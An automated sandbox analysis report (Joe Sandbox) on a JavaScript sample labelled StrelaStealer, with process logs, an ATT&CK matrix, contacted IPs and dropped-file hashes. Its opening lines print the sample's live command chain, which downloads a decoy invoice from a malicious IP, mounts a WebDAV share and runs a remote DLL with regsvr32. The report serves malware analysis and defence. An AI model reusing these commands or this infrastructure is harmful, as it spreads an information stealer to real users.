Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
19663169782459227955.js	8%	Virustotal		Browse
19663169782459227955.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/j	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/np	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/j	net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/np	net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2702171879.0000022847C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1476545499.0000022847A90000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.00000129823E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.1482995187.000001298240D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1475933174.000001298240D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/~	net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588777
Start date and time:	2025-01-11 05:23:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	19663169782459227955.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 54.224.241.105, 34.237.241.83, 18.213.11.84, 50.16.47.176, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 172.202.163.200, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:24:18	API Interceptor	21x Sleep call for process: powershell.exe modified
23:24:22	API Interceptor	1x Sleep call for process: net.exe modified
23:24:22	API Interceptor	2x Sleep call for process: svchost.exe modified
23:24:29	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	584319483127519041.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8025856594785192
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAk:RJE+Lfki1GjHwU/+vVhWqpp
MD5:	0FF1A5471BB85B6FA890C86C75FAAF5E
SHA1:	5C78DCA919B2BC8BAD6059A3C6A99A28084FBB9A
SHA-256:	E6E1C261958CE52711B98F9175164AAD31B20E7E4167769C2553B6685FCAF34A
SHA-512:	EC107EFF5450C2D83BA45514E6B7A5E49DA40D48196F9DF6A509B01DAA57C415EB241890F703496115B2BBF1FE92175146CEFE1AAA873E44EF828C15F5080F88
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2f43bad1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433065678805652
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	1CB047E727399886CBA63FCF7448E743
SHA1:	AFF37C815F00A2040F8A464F52BEEB721FEB0E5B
SHA-256:	A10B5C6EEEEF8AC0C1D4F0574485056D6D55AA3367C8A1F4879C4A3AED84E71D
SHA-512:	EC9EF20EC0F121677A158179F705B4422CF2819EA4CFB25F72DD9F956445341C178AC6D7BB27E2901940687564EDF36059A5C2318DCD7B00753C0010058B50B0
Malicious:	false
Preview:	/C..... ...............X\...;...{......................0.x...... ...{s......}e.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................T@.....}1.................A+.0.....}e..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08183553625994848
Encrypted:	false
SSDEEP:	3:1llKYeE37cll/nqlFcl1ZUllllP6B/AllGBnX/l/Tj/k7/t:vlKzrll/qlFclQ/lwA254
MD5:	B5A230EA942E7E06115E45A90DB59F92
SHA1:	C683B5BC3383E5817F5021E1474240C219F68833
SHA-256:	FE3E27C06BECE1BC86EBE86F6C2B17F705A319738B0C63DD2084314A4AC7AE5E
SHA-512:	F13C0422141091DB6B273ECF4E959E81E172C1A52B4EBD42FFA721FBB02DF9E030635B6F30FB10928C817A95C0D7B7A38E99E5737003B1DFAE02F1B8278BCB2A
Malicious:	false
Preview:	.x.......................................;...{.......}e.. ...{s.......... ...{s.. ...{s.P.... ...{s.................A+.0.....}e.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.184786439070097
Encrypted:	false
SSDEEP:	6:iO4qMBM+q2PCHhJ2nKuAl9OmbnIFUtSqXT/ZZmwsqXT/MMVkwOCHhJ2nKuAl9Omt:7WBM+vBHAahFUtn/Z/B/MMV56HAaSJ
MD5:	35F135036DF1DBB9DD05022C0D3E72F8
SHA1:	176F53FDACA885DF5E95BEAAD9EDDC29EA84C82F
SHA-256:	DCB16E25A0235B8A2E18C3AC13CC92AE06BC2EC1093C21FB4C6F162DD1F1E415
SHA-512:	330FDEAE892A045EE0AA311CD9AC5CB0F69B0780DC98E19FB9D693CDA2284C3EAE4B31D346B58B148D9ADF768FEBC9C652480BA01D8DDA48210B0FD3AC3FD24E
Malicious:	false
Preview:	2025/01/10-23:24:22.267 1ffc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:24:22.276 1ffc Recovering log #3.2025/01/10-23:24:22.276 1ffc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.184786439070097
Encrypted:	false
SSDEEP:	6:iO4qMBM+q2PCHhJ2nKuAl9OmbnIFUtSqXT/ZZmwsqXT/MMVkwOCHhJ2nKuAl9Omt:7WBM+vBHAahFUtn/Z/B/MMV56HAaSJ
MD5:	35F135036DF1DBB9DD05022C0D3E72F8
SHA1:	176F53FDACA885DF5E95BEAAD9EDDC29EA84C82F
SHA-256:	DCB16E25A0235B8A2E18C3AC13CC92AE06BC2EC1093C21FB4C6F162DD1F1E415
SHA-512:	330FDEAE892A045EE0AA311CD9AC5CB0F69B0780DC98E19FB9D693CDA2284C3EAE4B31D346B58B148D9ADF768FEBC9C652480BA01D8DDA48210B0FD3AC3FD24E
Malicious:	false
Preview:	2025/01/10-23:24:22.267 1ffc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:24:22.276 1ffc Recovering log #3.2025/01/10-23:24:22.276 1ffc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.134979591576197
Encrypted:	false
SSDEEP:	6:iO4qhBTq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqh6I9Zmwsqh4ohkwOCHhJ2nKuAl97:7LxvBHAa8uFUtV6I9/fvh56HAa8RJ
MD5:	0B1CAEC095316978AE106B6E2A509F34
SHA1:	8D889E959276AE12620FAE082008F817978FC251
SHA-256:	DC9CB06503C71A3FBFE8A419C406D3DA0E6FA7A53CE70AE34E8255D306698827
SHA-512:	74F8DABACF8E0B921639DE4C73066EAC2DE368DC2DFBC0A2F22FC1372E26F3FD8285BED0FEA5207A4EADF1611232616B9FF4B63B94FACB613494A13B63F631DF
Malicious:	false
Preview:	2025/01/10-23:24:22.304 704 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:24:22.305 704 Recovering log #3.2025/01/10-23:24:22.307 704 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.134979591576197
Encrypted:	false
SSDEEP:	6:iO4qhBTq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqh6I9Zmwsqh4ohkwOCHhJ2nKuAl97:7LxvBHAa8uFUtV6I9/fvh56HAa8RJ
MD5:	0B1CAEC095316978AE106B6E2A509F34
SHA1:	8D889E959276AE12620FAE082008F817978FC251
SHA-256:	DC9CB06503C71A3FBFE8A419C406D3DA0E6FA7A53CE70AE34E8255D306698827
SHA-512:	74F8DABACF8E0B921639DE4C73066EAC2DE368DC2DFBC0A2F22FC1372E26F3FD8285BED0FEA5207A4EADF1611232616B9FF4B63B94FACB613494A13B63F631DF
Malicious:	false
Preview:	2025/01/10-23:24:22.304 704 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:24:22.305 704 Recovering log #3.2025/01/10-23:24:22.307 704 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\89eadd73-04ea-4a9f-8be0-fefee5a4579c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9740254305760585
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqbShsBdOg2Hfcaq3QYiub6P7E4T3y:Y2sRdsJWydMHu3QYhbS7nby
MD5:	D1837690C53FAD9B1BDF4D4540DB4781
SHA1:	94E16565F52DC0DC31066E1047B5CBBFFCCB4053
SHA-256:	167407B398A1763ECB9E5A8DDCD90792BE268A667FEF89DBF9596F600A202232
SHA-512:	5C1782AFBC77C3FCB9544A38F8E142E142588153E7CE35687FBA979C6A0E17E391DDC9F203BA6CE4E5B6D2ECDBCA2BD1EADBF03CED2E2576CD39B6AD30D64467
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129474078926","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134050},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9740254305760585
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqbShsBdOg2Hfcaq3QYiub6P7E4T3y:Y2sRdsJWydMHu3QYhbS7nby
MD5:	D1837690C53FAD9B1BDF4D4540DB4781
SHA1:	94E16565F52DC0DC31066E1047B5CBBFFCCB4053
SHA-256:	167407B398A1763ECB9E5A8DDCD90792BE268A667FEF89DBF9596F600A202232
SHA-512:	5C1782AFBC77C3FCB9544A38F8E142E142588153E7CE35687FBA979C6A0E17E391DDC9F203BA6CE4E5B6D2ECDBCA2BD1EADBF03CED2E2576CD39B6AD30D64467
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129474078926","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134050},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2426304671415345
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bdeKhqhPT:S43C4mS7fFi0KFYDjr3LWO3V3aw+bdef
MD5:	9E4675A337CCDFC3CECFC3E5341B12F1
SHA1:	89C870E33D72DF6299CC1FF763C29738779CF90E
SHA-256:	578958C23969AA696DBB9D625D6786B04EF556AD6BF1E4F4E7DE5EB33C01ECDB
SHA-512:	B9EBEF478EDF32E541AEF637D3B64FD665253B7DE59DF748957722F8F4F54DBDDBBD8D2E373C47117059D6949B3FE5F1586B0B49A8A9786E8C90C544B8AC94FC
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.148596145523429
Encrypted:	false
SSDEEP:	6:iO4qlyIq2PCHhJ2nKuAl9OmbzNMxIFUtSqldrZmwsqlWsFkwOCHhJ2nKuAl9Ombg:7PTvBHAa8jFUtRdr/bWg56HAa84J
MD5:	9E59B1F081C4F765D443F38787EF5851
SHA1:	09B0EEDFE16D6C15B14B06D0A550137F0D80C3FB
SHA-256:	D7A5B10C7D9DC9ED53A64290B9B0E1C8411395C187D0E4B6E7F6D02A516B58D4
SHA-512:	8DCF9DBA90822AFE2E3136EF4BE962A85277757B3F3CE15A23AE364C285771CD76E6276B3E52CAAB2F2A546D660F4C0C08C06B6F6CCA0927755C4E7E9E863E0C
Malicious:	false
Preview:	2025/01/10-23:24:22.702 704 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:24:22.705 704 Recovering log #3.2025/01/10-23:24:22.734 704 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.148596145523429
Encrypted:	false
SSDEEP:	6:iO4qlyIq2PCHhJ2nKuAl9OmbzNMxIFUtSqldrZmwsqlWsFkwOCHhJ2nKuAl9Ombg:7PTvBHAa8jFUtRdr/bWg56HAa84J
MD5:	9E59B1F081C4F765D443F38787EF5851
SHA1:	09B0EEDFE16D6C15B14B06D0A550137F0D80C3FB
SHA-256:	D7A5B10C7D9DC9ED53A64290B9B0E1C8411395C187D0E4B6E7F6D02A516B58D4
SHA-512:	8DCF9DBA90822AFE2E3136EF4BE962A85277757B3F3CE15A23AE364C285771CD76E6276B3E52CAAB2F2A546D660F4C0C08C06B6F6CCA0927755C4E7E9E863E0C
Malicious:	false
Preview:	2025/01/10-23:24:22.702 704 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:24:22.705 704 Recovering log #3.2025/01/10-23:24:22.734 704 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
